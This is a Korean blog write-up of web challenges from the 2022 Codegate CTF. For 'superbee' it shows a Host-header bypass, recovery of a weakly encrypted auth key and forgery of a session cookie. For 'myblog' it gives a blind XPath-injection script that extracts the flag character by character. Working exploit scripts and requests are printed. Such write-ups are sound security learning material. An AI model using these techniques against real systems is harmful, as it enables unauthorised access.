2022 Codegate CTF Writeup

2022년 2월 26일 오후 7시 ~ 27일 오후 7시까지 24시간동안 국제해킹방어대회라고 불리는 Codegate CTF 대학부에 참여하였다. 2019, 2020년에도 참여해 본선권을 얻었지만 이번에는 주니어부가 아니라 대학부로 참여해서 조금 느낌이 달랐다. (코로나 때문에 2년만에 하네 ㅠ)
대회 문제들 다시 풀어보면서 정리해보려고 한다. 팀에 웹만 주력으로하는 사람이 없어서 본선까지 웹 공부 열심히 해야겠다!
813944685_6932
우리팀은 대학부(숭실대학교) 2등으로 본선에 진출하였다. (해군 해난구조전대 = SSU = 숭실대)

Web

CAFE

superbee

golang Web Framework인 beego로 만들어진 사이트다.
app.conf를 확인해보면 auth_key, password, flag는 블라인드 처리되어 제공된다.

1
2
3
4
5
app_name = superbee
auth_key = [----------REDEACTED------------]
id = admin
password = [----------REDEACTED------------]
flag = [----------REDEACTED------------]

main함수를 살펴보면 auth_crypt_key는 정의되지 않은 값이라 가져올 수 없어서 null이라는 값이 들어가게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
func main() {
app_name, _ = web.AppConfig.String("app_name")
auth_key, _ = web.AppConfig.String("auth_key")
auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
admin_id, _ = web.AppConfig.String("id")
admin_pw, _ = web.AppConfig.String("password")
flag, _ = web.AppConfig.String("flag")

web.AutoRouter(&MainController{})
web.AutoRouter(&LoginController{})
web.AutoRouter(&AdminController{})
web.Run()
}

LoginController를 살펴보면 Cookie값을 Md5 sess한 값을 MD5 admin_id + auth_key 맞춰버리고 /main/index로 가면 {{.flag}} 를 출력 시킬 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
func (this *LoginController) Auth() {
id := this.GetString("id")
password := this.GetString("password")

if id == admin_id && password == admin_pw {
this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)

this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
return
}
this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}

auth_key를 구해야하는데 AdminController의 AuthKey()를 살펴보면 AES Encrypt의 key에 null값을 가지고 있는 auth_crypt_key가 들어가게 되고 auth_key값이 origData로 처리 되는 것을 알 수 있다.

1
2
3
4
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

[IP]/admin/authkey에 접근하려면 if domain != “localhost” 조건을 우회해야하는데 Host에 localhost로 Request를 보냄으로써 우회해 Encrypt된 값을 구할 수 있다.
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

1
내 서버에 테스트해서 Encrypted값이 조금 다르다.. ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))

if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()

if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}

암호화 방식으로는 AES CBC모드를 사용하고, key랑 IV 값은 NULL이라서 Padding된 값이 들어가는데 분석해보면 \x10이라는 값으로 채워지는걸 확인할 수 있다. 즉 key, iv = b’\x10’*0x10으로 Padding이 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
fmt.Println(padded_key)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}

func Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

이제 Key, IV, encrypted_auth_key를 알고 있으니 Decrypt하면 authkey 값인 Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d 이것을 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Cipher import AES

BLOCK_SIZE = 16

key = bytes([0x10] * BLOCK_SIZE)
cipher = bytes.fromhex("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607")
iv = key[:BLOCK_SIZE]

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = aes.decrypt(cipher)
print(enc.strip())

이제 /main/index에 쿠키값 맞춰서 요청을 보내면 FLAG를 획득할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl http://3.39.49.174:30001/main/index -v -X GET --cookie "f5b338d6bca36d47ee04d93d08c57861=e52f118374179d24fa20ebcceb95c2af"
Note: Unnecessary use of -X or --request, GET is already inferred.
* Trying 3.39.49.174:30001...
* TCP_NODELAY set
* Connected to 3.39.49.174 (3.39.49.174) port 30001 (#0)
> GET /main/index HTTP/1.1
> Host: 3.39.49.174:30001
> User-Agent: curl/7.68.0
> Accept: */*
> Cookie: f5b338d6bca36d47ee04d93d08c57861=e52f118374179d24fa20ebcceb95c2af
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 170
< Content-Type: text/html; charset=utf-8
< Date: Sat, 26 Feb 2022 12:46:49 GMT
<
<html>
<head>
<title>superbee</title>
</head>
<body>
<h3>Index</h3>
codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
</body>
* Connection #0 to host 3.39.49.174 left intact
</html>%

FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}

babyFirst

myblog

이 문제는 대회 시간내에 풀지 못했던 문제다 ㅠ 취약점은 아는데 어떻게 환경변수 접근할지 몰라서 아쉬웠다..

Dockerfile을 보면 /usr/local/tomcat/conf/catalina.properties 에 FLAG가 있음을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM ubuntu:20.04

RUN apt-get -y update && apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties

CMD ["/start.sh"]

코드 양이 300줄밖에 안되는데 그 중 중요한 부분만 긁어왔다. 이 부분만 오디팅 열심히 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
private boolean doRegister(HttpServletRequest req) {
initUserDB();
File userDB = new File(this.tmpDir, "users.xml");
String id = req.getParameter("id");
String pw = req.getParameter("pw");
if (id == null || pw == null || !idCheck(id)) {
return false;
}
try {
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(userDB)));
document.setXmlStandalone(true);
NodeList usersNodeList = document.getElementsByTagName("users");
Element userElement = document.createElement("user");
userElement.setTextContent(id + "/" + encMD5(pw));
usersNodeList.item(0).appendChild(userElement);
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
transformer.setOutputProperty("encoding", "UTF-8");
transformer.setOutputProperty("indent", "yes");
transformer.transform(new DOMSource(document), new StreamResult(new FileOutputStream(userDB)));
return true;
} catch (Exception e) {
System.out.println(e.getMessage());
return false;
}
}

private boolean doLogin(HttpServletRequest req) {
initUserDB();
String id = req.getParameter("id");
String pw = req.getParameter("pw");
if (id == null || pw == null) {
return false;
}
String id2 = id.trim();
String pw2 = encMD5(pw.trim());
Boolean flag = Boolean.valueOf(false);
try {
NodeList userList = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir, "users.xml")))).getElementsByTagName("user");
int length = userList.getLength();
int i = 0;
while (true) {
if (i >= length) {
break;
} else if (userList.item(i).getTextContent().trim().equals(id2 + "/" + pw2)) {
flag = Boolean.valueOf(true);
req.getSession().setAttribute("id", id2);
initUserArticle(req);
break;
} else {
i++;
}
}
return flag.booleanValue();
} catch (Exception e) {
System.out.println(e.getMessage());
return false;
}
}

private boolean doWriteArticle(HttpServletRequest req) {
initUserArticle(req);
String id = (String) req.getSession().getAttribute("id");
String title = req.getParameter("title");
String content = req.getParameter("content");
if (id == null || title == null || content == null) {
return false;
}
String title2 = encBase64(title);
String content2 = encBase64(content);
File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
try {
FileInputStream fileInputStream = new FileInputStream(userArticle);
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(fileInputStream));
document.setXmlStandalone(true);
NodeList articleNodeList = document.getElementsByTagName("articles");
int length = document.getElementsByTagName("article").getLength();
Element articleElement = document.createElement("article");
articleElement.setAttribute("idx", Integer.toString(length + 1));
Element titleElement = document.createElement("title");
titleElement.setTextContent(title2);
Element contentElement = document.createElement("content");
contentElement.setTextContent(content2);
articleElement.appendChild(titleElement);
articleElement.appendChild(contentElement);
articleNodeList.item(0).appendChild(articleElement);
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
transformer.setOutputProperty("encoding", "UTF-8");
transformer.setOutputProperty("indent", "yes");
DOMSource source = new DOMSource(document);
FileOutputStream fileOutputStream = new FileOutputStream(userArticle);
transformer.transform(source, new StreamResult(fileOutputStream));
return true;
} catch (Exception e) {
System.out.println(e.getMessage());
return false;
}
}

private String[] doReadArticle(HttpServletRequest req) {
String id = (String) req.getSession().getAttribute("id");
String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null) {
return null;
}
try {
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
XPath xpath = XPathFactory.newInstance().newXPath();
String content = (String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(content.trim())};
} catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}

private void initUserArticle(HttpServletRequest req) {
String id = (String) req.getSession().getAttribute("id");
if (!"null".equals(id)) {
try {
File articleDir = new File(this.tmpDir, "article");
if (!articleDir.exists()) {
articleDir.mkdir();
}
File userArticle = new File(articleDir, id + ".xml");
if (!userArticle.exists()) {
Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
doc.setXmlStandalone(true);
doc.appendChild(doc.createElement("articles"));
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
transformer.setOutputProperty("encoding", "UTF-8");
transformer.setOutputProperty("indent", "yes");
transformer.transform(new DOMSource(doc), new StreamResult(new FileOutputStream(userArticle)));
}
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}

private void initUserDB() {
File userDB = new File(this.tmpDir, "users.xml");
try {
if (!userDB.exists()) {
Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
doc.setXmlStandalone(true);
doc.appendChild(doc.createElement("users"));
Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
transformer.setOutputProperty("encoding", "UTF-8");
transformer.setOutputProperty("indent", "yes");
transformer.transform(new DOMSource(doc), new StreamResult(new FileOutputStream(userDB)));
}
} catch (Exception e) {
System.out.println(e.getMessage());
}
}

코드를 오디팅하면 회원가입을 하면 doRegister함수에서 /db/users.xml에 있는 user Element에 사용자 이름/md5(비밀번호) 이렇게 저장된다.

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>a/0cc175b9c0f1b6a831c399e269772661</user>
<user>b/92eb5ffee6ae2fec3ad71c777531578f</user>
</users>

그리고 /db/article/[사용자 이름].xml 형식으로 사용자가 쓴 글들이 저장된다. doWriteArticle 함수를 보면 Title과 Content가 base64 Encoding돼서 저장되는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<articles>
<article idx="1">
<title>YQ==</title>
<content>Ijw/eG1sIHZlcnNpb249XCIxLjBcIj8+PCFET0NUWVBFIG5hbWUgWzwhRU5USVRZIHRlc3QgU1lTVEVNICduZXRkb2M6Ly8vcGFzc3dkJz5dPjxuYW1lPiZ0ZXN0OzwvbmFtZT4i</content>
</article>
<article idx="2">
<content>Yg==</content>
</article>
</articles>

취약점은 doReadArticle에서 발생한다. XPath Injection이 발생한다는건 알았으나 환경변수에 어떻게 접근할지 몰라서 조금 헤맸다.
우선 doReadArticle 함수를 보면 idx를 입력받는데 검사가 미흡하다. 또한 xpath evaluate에 직접적으로 Injection할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private String[] doReadArticle(HttpServletRequest req) {
String id = (String) req.getSession().getAttribute("id");
String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null) {
return null;
}
try {
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
XPath xpath = XPathFactory.newInstance().newXPath();
String content = (String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(content.trim())};
} catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}

우리가 궁극적으로 얻어야하는 것은 FLAG이기 때문에 FLAG는 tomcat의 catalina.properties 파일에 존재한다. 나는 system-property 라는 것을 처음 알게됐다.. 그래서 이걸 이용해서 환경변수에 있는 FLAG 속성을 읽어오면 된다..! 이제 스크립트를 짜고 한글자씩 뽑아오면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string

# url = "http://sung.pw:13326/blog/write/"
headers = {
"Host": "sung.pw:13326",
"Cache-control": "no-cache",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "prm",
"Accept": "*/*",
}

cookies = {
"JSESSIONID":"BB4058D49E910DCD80756DE06A8B71A0",
}

data = {
"title": "asdf",
"content": "asdf"
}

url = "http://sung.pw:13326/blog/read?idx=2%27%20and%20starts-with%28system-property%28%27flag%27%29%2C%27{c}%27%29%20or%20%27" # or using substring

flag = ''
while True:
print(flag)
for char in string.printable:
r = requests.get(url.format(c=flag+char), headers=headers, cookies=cookies)
if 'realsung' in r.text:
flag += char
break

FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}

Pwn

언제 정리하지..